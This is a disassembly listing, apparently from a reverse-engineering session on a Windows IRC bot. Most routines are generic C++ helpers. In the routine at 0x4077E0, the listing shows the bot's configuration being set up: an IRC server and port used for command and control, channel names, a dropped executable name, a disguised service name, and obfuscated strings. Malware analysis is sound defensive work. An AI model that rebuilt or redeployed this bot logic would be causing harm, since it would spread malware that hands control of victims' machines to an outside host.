var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACE6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACE6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a3267	; "3267"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F40
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F40
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aFor_0	; "##for##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aFor	; "##for"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfdfsd3sda2 ; "igfsfdfsd3sda2ss.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAyssds4ddklfsd ; "ayssds4ddklfsdsdsfssas"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP01"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	45h
		push	19h
		push	14h
		push	0Fh
		push	2
		push	12h
		lea	ecx, [esp+3B0h+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		mov	byte ptr [esp+398h+var_4], 28h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
